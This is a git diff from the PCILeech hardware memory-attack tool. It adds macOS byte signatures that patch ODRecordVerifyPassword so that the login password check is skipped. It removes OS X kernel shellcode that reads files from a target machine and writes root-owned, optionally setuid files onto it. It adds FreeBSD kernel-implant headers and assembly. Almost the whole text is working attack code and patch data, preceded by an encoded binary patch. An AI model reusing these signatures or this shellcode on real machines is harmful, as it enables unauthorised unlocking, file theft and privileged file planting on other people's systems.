zXOa&h&nM3zFD4&MUP3;E+($l?JOFObaxNMw=`f7EntV8UE%_k;kvq=UH86@ile~aDpL{gAhkOjVmwYU_pS*}Xcz#G{a0U%k zbU2f|hWsq@I`U%j7V@*n+sMx$?;syf9wDDd-W8(ZJQ~ymx=qX$;0H+$y>=UC2uFcjJ%WFOCBYkp?OGk z)9`aTI4;x$`UQC=`IY4P=$<9qx^Vllx=g9vvQx zg_Bps_*5NU1AeIiJ-I|1>S7MlHE)S=ujXy!@yj&tAkQX`Oy8C~(HxN)iY*o=Yd_`Y z;;p;{t9`7d?$Gq`97OVqn7C-oI(dD`P<|!^4G}S^$#;==l5ZuC zlD}`)KaAZpbkM=ck++lomAq5)kXlPalnxQ{Zt`D~J7(z``2%?-`N!n>fDx`Gckw(wjl7cKH;^lak07sRcz`^gO_WStE8!uK z=`?tlKp}aU2`naeGl3NHR)#-9-cG)Oypw!0d6fJT@@{bZqVi=L9DZHJuadX1KoiL` z8D32u+Zu`O<>WIw#PDJkI5ox@9@`lynaqpI*k(})9V!^1mI-hrqaz8T|OJ2`jkq`K&kO9vkv=8*@;A0*FbhNH+U8Ga*q zHTeqiR{EbyUd!-%Y>uuPro(tTgz2!7+{B#u0j{1ftgaQmXNhK6D~tS2uaf05ir z{w#Tb`~vdIYq!nunZw5nXnyWb_E;hFaEFNz?tW8sFSDMw*PIpCX6ok=QvGZ7qYeR} zJjmAH>KJ1>>=OdBVb@Ya6;@nZS&@6A-C|w$8_I>`VzykjTRB%5%8lf;4O3o?q5L@7 z!ujR1D`w}~4ToIhNqAN0cF&!MNhb*I5I$u_X|8X|B&e#ghb<&Vu~zjk!gi%NR-a_M z$c|j|Bbyj&e`K2iTODkfK%MbLVp6Rq`$--l{5nI=5_;`S+F`Sg!Y;Mf9w$3b_VbBj zOO+{FI*(mr&~>0PxIWROP7|k zUSwC6>Nv@ErJZ1BPg|+>i=1TBeo@%EF&7k8BHs`)jx?GItr=@aduid@VCw4AZEFuR zLD+heM4RTcghUN>)k`QltD3wWGzov_^|Hsy>{en8=(#f#?Vy6r`n-)SAW-@Gi89Iul1 z_f`pea1x;DCPNP6K!+vZH$--(+FX90M}Ami7?P0ip1fzAtRaaiy*yQ=7p185MJd6m zyOb(MoUBum)WGs_YGCPDHL%F71{#IR8AMSL9`YM-7?h||*EqToBk}$?uj!V65=0#4 zKnqr20fGtk=a6a^q9@N9=1_f0`>4J}PStl!??`Ge#UG2G)!$T!Yfhw>H8??~7%mkb zjPsjry8s~-iDgteRCzEeKM3h!Mm>2}W`asuo)FYU)TNiBGtP0SbBY`)tu#fYjZJFn z6-@LG!yUdphm%#p{v=g3OsPLWraq)=uqV$N7>ZYpHM%@fY7Y|3!uK2zmc)@QJ~EJjx4+uR*D$8TLDEz8AJku_2y>_v9zySXVw^4iBB+rZS|T6(y?V zv57%rSgIOUp00+K_Ey7+pwAfGH7JtRF|e(FkFd0#hT#X8(#sv_U%gcN*p#5%M@tix zdm0`%fb6%+g`?EAP!A&>^624|HQb?`Mn9Dl>D3l%P^tZDsp-OaRd~3sa_kwboEM@y zKnfn#2YfP*$C-k@`6IuqF)3~`;5zp8pjRT)b|p) z&<(wkF@n@E+%-%Htu`m+elb;kvB`S3)A}J)O zew1L=umqKky8w|~W)k)pE8fq35~8z)Hii~$i{J4M?E8>emmY2{dxYs}#eyF!u@ zm9?zK%nb<(O7%!5+~ZVLmn!usq+qR-5{><18*UZnRrFDg@@zE&7u2^w%4}ctBaZfi zpZX7eJ@N>tth@x(&qz+h;M8W?)rHRFMuGeesN+L*QotdKYil*+!Gpye}Z1$ZjzHNOH zF_NZW1RabKw6FSU_2~|rHN2O~For98I1NebVb`^K99Jgm%Wr8Q$Gnq8Yg_MKR;{^wx&O777PhLhJghs zzls6oy_KkVtg8j_(Mjc)Y(4#`Ieb9OCmkC>Pe2Oc^Td7D`;VFr4Tv{X{A9S>(+H-J zB1|V^Q>=R*GjFk8u*}S?++M10c|DdA>s4RlX_XSxM-z#+KC3l{SZ?^3m>{QF<_KRO z8Lo8-!C0n~>#$1-xd55UpPuy6RPvg{pk5sHMw~R2zD6&OJmO=Q1`DR5WP8zMMJ%(x z9s?!R%C9v8AxR%Cp?>$FQh9ronvL|!fzN?o4_p?@4`);2Skv7{;}7M!<0Jei8syQK zUtcUf7o~WO6ho!VK@a~A$1?vfN-c&ATy0!|tl^ZCta31G=M?o;Ig2v821GJC`nEZL z$mB&hCq|Uo%uJG4m{{dZ->=k6h*XWBRrR>8&LN2b`zgI@OXz`EfvGbhx?wm4Ms zjKm+ZNbbVN4IpnZi#~YZA)~yv%D^HbW05@|+P+d(AAX^f>q{&O==&6SA^7*PxIZf1 zn!`$MgiKp)x1BZj33IZw9YwS@JYkNqn?M3S_y*rDfuLHz{&UqmjPU0F!RK^@&;B2L zvc6SnBm{X`mpy5YmcDoAljhvPN%&dMu?g<1d`znQ`(vWbz(m_mWq;|!YQp;dNpnV# z40=HnQCFj`*jP)vJjhTPIfgo&$AGh0x{cRbw$98PA~Efuaa1p)d>B*rS1Q}+QYl_J z8>|=CnZq+7k16Nx! zo;FYWA?|1R+H@D>ssAQ!Ua_I7ATO=9e)Y6D&Y!wo#{G9a!~OYU-Oey{^1qMwP&Tuthie_%kRP3@m>|2YpAy%E1ALxZY`}dhmWY6 zgRj&=IvC!QXZ6DnS#OteN1ZuhggvtU7X!qu>kXB#;D;LV#9HD!d{8C`c_-Gpk_?rE zG>qgpl^ihb^bPyO#Yu~6rVI>xIC+EC^z~*zZ#gAMR_qjg&Z*5=cT%9f50z zSgGH;*H9loByGW@9@i@|pH0<%<;(oF_GZ+>?u7sUhV%b_!}`v?c7+- zs2gK?42%Y@(>2!RF>Uw_?GxFqtzKjzUQ^Z%i<`ae*Tj0?S~gIYfP z-@y?73YhLzru$!E-=79p!(TB!3CSj*Y$6KAHVXy2AUW7t6P$=kZ#Q(oiy$88Uf_Vf zxLSiQpM!jpdIUJGA0BH(njYY8NF6qNI)L9pa-T#O$WUr41a|CAL&?D|#ZE~G_zolj zy#x3i#E#HoQ&Bb-XJjHWd;}{XTcKA0`(|UGMbZJ@J_sK;#@1UE@I34jRzdH%M<{!T zONL-?+JS&2Lon(?a-a+DhqU7=tLL7b?B&gOVG4nd;GK|Hp;rNW55s%@4W@De7egd& z6)?7$D0t;?yln)3!5bk#=)n+_xu;-@1f&jlO|CArA2>Eo>&_8M-2gdMiwM9@>Ji}T zk=SHJ+#29~T*`GxqQKaGV9$L&+5cNL8qJ615c~)d!n(&+z5^+TE|^q^YK86uUJ8*W z@B%v^c3T2(9fx}o*nO%3&L~13LgD;C@7dVqfnD&~^Kh*Sy#+XQ61K>YrVBWDGHMQX z*JRwASUd&Qg@7vHwNrIK5co&zt5swFtmj@?&wVu6PkSBG2_L}@$RX&0e}f!@F4!BJ zf~m-?=Z2tc6ux&6wkRGBnYJRoNl`3%cMrkXq=17egej7g#(4g~o1A&z-K2Y=PZUifV+D;95vG^g3V) zt|q0^If3O6Ih}&Q5kJRBh=kn0hafrduK`Xj!wv!LUf?y@zG}nv!HI1v)85Yd#~c(6 zK7t8z(f(UOoO7{FUXIfPdL8ig>o6WbuL9mPU!P7jz$X`Iy$<+2L^_?iL8+xT>P}h( z`~tEcTR`e2rS5{rsd!=s$2@7rXYj%hF8>xHGMofcgJ?78f-gdR&;{Rt;8It00N-4M zo{S7m>}lZxwTp4Z4_OJj;D?ZP&?7+ErIAAP+^vya9CszQ=R>F>Q7(rRKo`6cGC`^i z7~8e$xjQGjcF9Yzr-BRw`$BS|3l@n$7c7QMg)TS&QU=`vd=KJ9`m#qAifv>G-V3Qg zNd=#Pv_co$1!;sXc>6MK@3HM;ZxyY$0~Z5GRInD(0$p$&c@bSpJ1&3Z>PQtICUKcqIIT?wa{gv5g0w$|@jvrv+_8jAf7+Dq+^8p?!8QBin6-c@bvmS~(Q$S}fh!smP90ON1iBivF4zc(!e8(>?P>#d14H;HZNChd+N4V@_zk265sm@p zH*5P1z|SG&uy+BEZ^Wi7boDI8fai4~GJq=}lIBWaH+8}LH);E7;IPfQrbD?pK zh<^kad{yg$$6iJIOM636@BRiO782S6-1u9qKM!308b&V^q7isa8-`x!e&9h!4)jC7 zk{!qly5J_!arB3P<6hSXQw01w#EbN!zzcV3pSGPLEHr+H^HMSf_IgX}4&Yf3KkUW8 z>!=5S7WG=-Q*UF;hff`_6JnnQz|;SLQ4jVaU~Y%j1z&hqH`5{D>F=SoLg=MsP%`)E zBNMz0V)qH)mw&<#ii8dW&wgLqCji3`>EVLw|BO=+K8?V?L0X_kfxqs=QVja5!1p0` z;ecOKKL!jHeZVRLUP0Xtd>;JUpycaf;z-yl-ZD6n*&E>Jb_ZHS#2 zu>VI|$45lexzzE^DAfQdcoO4(Bb2ni=!7zXQy>y~I`Cdd88WB_j*MV*gPspGKhd?7 z0lXAa3VRK(6EYq8Az=EaIvsq2MBx)EcAA1qgu@5lDp9@nqy2>x@5kf;X@TwsJ_W%J zo~i?W4-p^rH`EYB3g-j<9wPP*;HbZ20SdhcxEIm|eIM`}NC1zX90N{{>bR?cA3~)0 z_JyDvV}M}J0qrFC>Ob^|CivVzoXZ&9o(CF-bmVy8OzLI87pQLq=KNDPncyQ38K4AL z{7a{^5_kY&kN^0hj5_6WjBdyv7q}7Pl+1wtgve2L0qeVPTEgB49P|Y<0A2?Xp9-Mw zOEejL1ZyE;7hLfbMoQRM0z-$bBkXjIYZAKk~NVNzCzebg=$0Py#4Mgm1 z!0(S>D22cJH>w>X%~1fX=+;NJ45+@r0XzjCUPOxEsp%)#%VFR(9 zjb_aSZXJk+6(s@`^;j03M?-{K;3c^0Q2-rZ8dA4Hq(GIxvv4P5Co(Gr{&fgy0(t~^ z#ZdelE(WC=fD2u^R)WB*Pcc*_((wbQehI+YBXB+_z7^5S5fKiAXy`ax+sC;xl!8V9=x_02zr|Y=*(38SPo^1bW zU=HrR$iWCMfJhEnHA?48hz_(_hGeUnGc)4F!T`ABv8#MvDpl6P@3qAvpn&^3h zMsD0Jn2SCEf596d$Dp6M$z!UwLNMMt4?PkAf{lnFQI3Qry8%!?X%a9yY zBRGGdoHjEB25zpX5lW-RQTioe*+0gd$d7WdV_Xq1Ge0V z8z8U?UUZW_$}-?f5V9b`dH{GE^=e=zL<%Q(+8tW2 z0uHD`6Cj;T;2n^H#t?cql(X;BM>zpFce$a8Fk#>um#Pa=3SH2-0<{8NunAHIy$#p_ z35tCs1}KOWv=}(?UJO34dw@4Vq|ia&0}v@(4KOuSjVgmvDsU7;0t$fVLL@>R@Sl*a z@NwN|s9E>p=%D+7|DcZVcq$W82Y-3aLY||DVq_GQ#~b{x3(BJiVi%Oh5JV4&A~$e_ z2+AV?q6^Bsd(j2u-n{67a$jC_LAjkQx}e;o7F|&8&5JHLm%5c_pv)kGviy`429_N5 zBrKCMK7ePBmojeRV|n(>Aig59^pRzetQb2#f#1_u96p0IV&tE{W4 ztFCKX-@d+Medqef`sn(u_1)`Ly`$b)pIPs!&#!ma7uSb8^(FP*dSAW2K2RU5udJ`C zudc7DudT1E57)QUx7N4Sx7T;nch*PhqxD_&-Sw)$(co;zY;ZN?H@F*$8$1mq4c-P{ zgB(B*hfvi}-QzG?8`^j%k%nkPS3`G$YIHO@8#5bSjroo4#^O+;r?I5b+vscbHwGGm zjg^g6jn$1cjkS$+jp4?Y#@5ER#`eaJ#?D69Cif=KrjkwGO}!!9%otvVYx;AxhQkxx{tF}~cso7GyrEW`jOUstlEp1!cw{&dj+!EOm z-O{zCdy8`6+{EG%t1(BNvo5o)ZbNuO%ZAnsZ5!G*bZqF{5ZMsj(6ym^gKBa#Ih!(@ zTuu2+?xx}nrfTsn!-&jO|4CBP3=t`O`T1Vrf5@F zlWKM}JDW3`UCsH;?&jiVPjgALx7pY1Zw@pEn=7X^S2b5R*EH8Q*ENTmTbf&&+nU>( zJDNM2BhAs~uIBD$6?TN3;moiroF8_Fi^HC9N!T0qg;8)fjsWfL(rszo_<{MtS($Jv zhKny82v>%y!?odXxHa4!?hHr6-C@VZ%#HaQi#L{R^lc1mtlU_=v36s4W9!Ct>*7vx zcY+6tG-YLfVCGn!z2@8mFNPz-dUmhrEe@h*)Sy?ipht9|H*}#VIMEB-=mB1|eh@8R ygU;K67Vl_?psf|!+0|&}e`rQBP}nMrJb>0`JD%;tZiH&v)_b4%rGdL+&i?~uOe)I& diff --git a/pcileech_files/unlock_macos.sig b/pcileech_files/unlock_macos.sig new file mode 100644 index 0000000..35987f0 --- /dev/null +++ b/pcileech_files/unlock_macos.sig @@ -0,0 +1,9 @@ +# unlock signatures for macOS +# syntax: see signature_info.txt for more information. +# +# +# CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes) +fce,e869c40000eb0231,fd3,eb0231db88d84883,fd7,b001 +# +# CFOpenDirectory!ODRecordVerifyPassword (Sierra 10.12 | 455968 bytes) +134,080000004c89f7e83ec40000eb0231db,0,-,144,b001 diff --git a/pcileech_files/unlock_osx.sig b/pcileech_files/unlock_osx.sig deleted file mode 100644 index dd69aa8..0000000 --- a/pcileech_files/unlock_osx.sig +++ /dev/null @@ -1,6 +0,0 @@ -# unlock signature for OS X El Capitan -# syntax: see signature_info.txt for more information. -# -# -# CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes) -fce,e869c40000eb0231,fd3,eb0231db88d84883,fd7,b001 \ No newline at end of file diff --git a/pcileech_shellcode/ax64_filepull.c b/pcileech_shellcode/ax64_filepull.c deleted file mode 100644 index 427fc77..0000000 --- a/pcileech_shellcode/ax64_filepull.c +++ /dev/null @@ -1,94 +0,0 @@ -// ax64_filepull.c : kernel code to pull files from target system. -// Compatible with Apple OS X. -// -// (c) Ulf Frisk, 2016 -// Author: Ulf Frisk, pcileech@frizk.net -// -// Inspired by: http://www.phrack.org/papers/revisiting-mac-os-x-kernel-rootkits.html -// -// compile with: -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filepull.c -// ml64.exe ax64_common_a.asm /Feax64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filepull.obj ax64_common.obj -// shellcode64.exe -o ax64_filepull.exe "PULL FILES FROM TARGET SYSTEM \nAPPLE OS X EDITION \n===============================================================\nPull a file from the target system to the local system. \nREQUIRED OPTIONS: \n -out : file on local system to write result to. \n filename is given in normal format. \n Example: '-out c:\temp\hosts' \n -s : file on target system. \n Example: '-s /etc/hosts' \n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n" -// -#include "ax64_common.h" - -typedef struct tdFN2 { - QWORD vnode_lookup; - QWORD vnode_put; - QWORD VNOP_READ; - QWORD uio_addiov; - QWORD uio_resid; - QWORD vfs_context_current; - QWORD uio_create; - QWORD uio_free; -} FN2, *PFN2; - -BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { - pfn2->vnode_lookup = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 }); - pfn2->vnode_put = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 }); - pfn2->VNOP_READ = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 }); - pfn2->uio_addiov = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 }); - pfn2->uio_resid = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 }); - pfn2->vfs_context_current = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 }); - pfn2->uio_create = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 }); - pfn2->uio_free = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) {'_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 }); - for(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) { - if(!((PQWORD)pfn2)[i]) { - return FALSE; - } - } - return TRUE; -} - -VOID c_EntryPoint(PKMDDATA pk) -{ - FN2 fn2; - DWORD status = 0; - QWORD uio = 0, vnode = 0, vfs_current; - if(!pk->dataInStr[0]) { - pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; - return; - } - if(!LookupFunctions2(pk, &fn2)) { - pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; - return; - } - SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH); - vfs_current = SysVCall(fn2.vfs_context_current); - if(SysVCall(fn2.vnode_lookup, pk->dataInStr, 0, &vnode, vfs_current)) { - status = STATUS_FAIL_FILE_CANNOT_OPEN; - goto error; - } - uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 0 /* read */); - if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) { - status = STATUS_FAIL_FILE_CANNOT_OPEN; - goto error; - } - if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) { - status = STATUS_FAIL_FILE_CANNOT_OPEN; - goto error; - } - pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio); - if(pk->dataOutExtraLength == pk->dataOutExtraLengthMax) { - status = STATUS_FAIL_FILE_SIZE; - goto error; - } -error: - if(uio) { - SysVCall(fn2.uio_free, uio); - } - if(vnode) { - SysVCall(fn2.vnode_put, vnode); - } - pk->dataOut[0] = status; -} \ No newline at end of file diff --git a/pcileech_shellcode/ax64_filepush.c b/pcileech_shellcode/ax64_filepush.c deleted file mode 100644 index ea81078..0000000 --- a/pcileech_shellcode/ax64_filepush.c +++ /dev/null @@ -1,86 +0,0 @@ -// ax64_filepush.c : kernel code to push files to target system. -// Compatible with Apple OS X. -// -// (c) Ulf Frisk, 2016 -// Author: Ulf Frisk, pcileech@frizk.net -// -// compile with: -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filepush.c -// ml64.exe ax64_common_a.asm /Feax64_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filepush.obj ax64_common.obj -// shellcode64.exe -o ax64_filepush.exe "PUSH FILES TO TARGET SYSTEM \nAPPLE OS X EDITION \n===============================================================\nPush a file from the local system to the target system. \nWARNING! Existing files will be overwritten! \n* Files created will be created with root/wheel as owner/group \n and get the access mask specified in the -0 parameter. \n* Files overwritten will keep the access mask and owner/group. \nREQUIRED OPTIONS: \n -in : file to push to target system from this system. \n filename is given in normal format. \n Example: '-in c:\temp\random.txt' \n -s : file on target system. \n Example: '-s /System/Library/Kernels/sip_bypass' \n -0 : file access mask in HEXADECIMAL OR DECIMAL FORMAT! \n NB! linux file masks are ususally typed in octal - \n -rwsr-xr-x 4755 (oct) = 2541 (decimal) = 0x9ed (hex) \n -rwxrwxrwx 777 (oct) = 511 (decimal) = 0x1ff (hex) \n Example: '-0 0x1ff' \n -1 : run flag - set to non zero to push file. \n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n" -// -#include "ax64_common.h" - -#define CONFIG_MAX_FILESIZE 0x180000 // 1.5MB - -typedef struct tdFN2 { - QWORD vnode_open; - QWORD vnode_close; - QWORD VNOP_WRITE; - QWORD uio_addiov; - QWORD uio_create; - QWORD uio_free; - QWORD vfs_context_current; -} FN2, *PFN2; - -BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { - pfn2->vnode_open = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 }); - pfn2->vnode_close = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 }); - pfn2->VNOP_WRITE = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 }); - pfn2->uio_addiov = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 }); - pfn2->uio_create = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 }); - pfn2->uio_free = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 }); - pfn2->vfs_context_current = LookupFunctionOSX(pk->AddrKernelBase, - (CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 }); - for(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) { - if(!((PQWORD)pfn2)[i]) { - return FALSE; - } - } - return TRUE; -} - -VOID c_EntryPoint(PKMDDATA pk) -{ - FN2 fn2; - DWORD status = 0; - QWORD uio = 0, vnode = 0, vfs_current; - if(!pk->dataInStr[0] || !pk->dataIn[0]) { - pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; - return; - } - if(!LookupFunctions2(pk, &fn2)) { - pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; - return; - } - SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH); - vfs_current = SysVCall(fn2.vfs_context_current); - if(SysVCall(fn2.vnode_open, pk->dataInStr, 0x0602 /* WRITE|CREATE|TRUNCATE */, pk->dataIn[0], 0, &vnode, vfs_current)) { - status = STATUS_FAIL_FILE_CANNOT_OPEN; - goto error; - } - uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 1 /* write */); - if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataInExtraOffset, pk->dataInExtraLength)) { - status = STATUS_FAIL_FILE_CANNOT_OPEN; - goto error; - } - if(SysVCall(fn2.VNOP_WRITE, vnode, uio, 0, vfs_current)) { - status = STATUS_FAIL_FILE_CANNOT_OPEN; - goto error; - } -error: - if(uio) { - SysVCall(fn2.uio_free, uio); - } - if(vnode) { - SysVCall(fn2.vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); - } - pk->dataOut[0] = status; -} \ No newline at end of file diff --git a/pcileech_shellcode/fbsdx64_common.c b/pcileech_shellcode/fbsdx64_common.c new file mode 100644 index 0000000..e514aa8 --- /dev/null +++ b/pcileech_shellcode/fbsdx64_common.c @@ -0,0 +1,8 @@ +// fbsdx64_common.c : support functions used by FreeBSD KMDs started by stage3 EXEC. +// Compatible with FreeBSD x64. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// + +#include "fbsdx64_common.h" diff --git a/pcileech_shellcode/fbsdx64_common.h b/pcileech_shellcode/fbsdx64_common.h new file mode 100644 index 0000000..a4dfb9e --- /dev/null +++ b/pcileech_shellcode/fbsdx64_common.h @@ -0,0 +1,70 @@ +// fbsdx64_common.h : declarations of commonly used shellcode functions +// Compatible with FreeBSD x64. +// +// Author: Ulf Frisk, pcileech@frizk.net +// + +#ifndef __FBSDX64_COMMON_H__ +#define __FBSDX64_COMMON_H__ + +#include "statuscodes.h" + +typedef void VOID, *PVOID; +typedef int BOOL, *PBOOL; +typedef unsigned char BYTE, *PBYTE; +typedef char CHAR, *PCHAR; +typedef unsigned short WORD, *PWORD; +typedef unsigned long DWORD, *PDWORD; +typedef unsigned __int64 QWORD, *PQWORD; +typedef void *HANDLE; +typedef unsigned long STATUS; +#define NULL ((void *)0) +#define MAX_PATH 260 +#define TRUE 1 +#define FALSE 0 + +/* +* KMD DATA struct. This struct must be contained in a 4096 byte section (page). +* This page/struct is used to communicate between the inserted kernel code and +* the pcileech program. +* VNR: 002 +*/ +typedef struct tdKMDDATA { + QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). + QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). + QWORD DMASizeBuffer; // [0x018] size of DMA buffer. + QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. + QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. + QWORD _status; // [0x030] status of operation + QWORD _result; // [0x038] result of operation TRUE|FALSE + QWORD _address; // [0x040] virtual address to operate on. + QWORD _size; // [0x048] size of operation / data in DMA buffer. + QWORD OperatingSystem; // [0x050] operating system type + QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD dataInExtraLength; // [0x100] length of extra in-data. + QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. + QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. + QWORD dataIn[28]; // [0x120] + QWORD dataOutExtraLength; // [0x200] length of extra out-data. + QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. + QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. + QWORD dataOut[28]; // [0x220] + PVOID fn[32]; // [0x300] used by shellcode to store function pointers. + CHAR dataInStr[MAX_PATH]; // [0x400] string in-data + CHAR ReservedFutureUse2[252]; + CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data + CHAR ReservedFutureUse3[252]; + QWORD ReservedFutureUse4[255]; // [0x800] + QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) +} KMDDATA, *PKMDDATA; + +extern QWORD SysVCall(QWORD fn, ...); +extern QWORD LookupFunctionFreeBSD(PKMDDATA pk, CHAR szFunctionName[]); +extern QWORD __curthread(); +#define curthread (__curthread()) + +#endif /* __FBSDX64_COMMON_H__ */ \ No newline at end of file diff --git a/pcileech_shellcode/fbsdx64_common_a.asm b/pcileech_shellcode/fbsdx64_common_a.asm new file mode 100644 index 0000000..9c5945d --- /dev/null +++ b/pcileech_shellcode/fbsdx64_common_a.asm @@ -0,0 +1,140 @@ +; fbsdx64_common_a.asm : assembly to receive execution from stage3 exec command. +; Compatible with FreeBSD x64. +; +; (c) Ulf Frisk, 2016 +; Author: Ulf Frisk, pcileech@frizk.net +; + +; ------------------------------------- +; Prototypes +; ------------------------------------- +main PROTO +LookupFunctionFreeBSD PROTO +SysVCall PROTO +EXTRN c_EntryPoint:NEAR + +; ------------------------------------- +; Code +; ------------------------------------- +.CODE + +main PROC + PUSH rsi + MOV rsi, rsp + AND rsp, 0FFFFFFFFFFFFFFF0h + SUB rsp, 020h + CALL c_EntryPoint + MOV rsp, rsi + POP rsi + RET +main ENDP + +; ---------------------------------------------------- +; TRIVIAL VERSION OF STRCMP +; destroyed registers :: +; rdi -> ptr to str1 +; rsi -> ptr to str2 +; rax <- 0 == success, !0 == fail +; ---------------------------------------------------- +strcmp_simple PROC + PUSH rcx + XOR rcx, rcx + DEC rcx + loop_strcmp: + INC rcx + MOV al, [rdi+rcx] + CMP al, [rsi+rcx] + JNE error + CMP al, 0 + JNE loop_strcmp + XOR rax, rax + POP rcx + RET + error: + MOV al, 1 + POP rcx + RET +strcmp_simple ENDP + +; ---------------------------------------------------- +; FIND EXPORTED SYMBOL IN BSD KERNEL +; destroyed registers :: rsi +; rcx -> PKMDDATA +; rdx -> rdi -> ptr to symbol/function str +; rax <- resulting address (zero if error) +; ---------------------------------------------------- +LookupFunctionFreeBSD PROC + PUSH rdi + PUSH rsi + MOV rdi, rdx + MOV rcx, [rcx+58h] ; [PKMDDATA->ReservedKMD] + MOV rdx, rcx ; [PKMDDATA->ReservedKMD] + SUB rcx, 8 + loop_symsearch: + SUB rcx, 18h + MOV rax, [rcx] + TEST rax, rax + JZ error + MOV esi, [rcx] + ADD rsi, rdx + CALL strcmp_simple + TEST rax, rax + JNZ loop_symsearch + MOV rax, [rcx+8] + POP rsi + POP rdi + RET + error: + XOR rax, rax + POP rsi + POP rdi + RET +LookupFunctionFreeBSD ENDP + +; ------------------------------------------------------------------ +; Convert from the Windows X64 calling convention to the SystemV +; X64 calling convention used by Linux. A maximum of twelve (12) +; parameters in addition to the function ptr can be supplied. +; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5); +; QWORD SysVCall(QWORD fn, ...); +; ------------------------------------------------------------------ +SysVCall PROC + MOV rax, rcx + PUSH rdi + PUSH rsi + 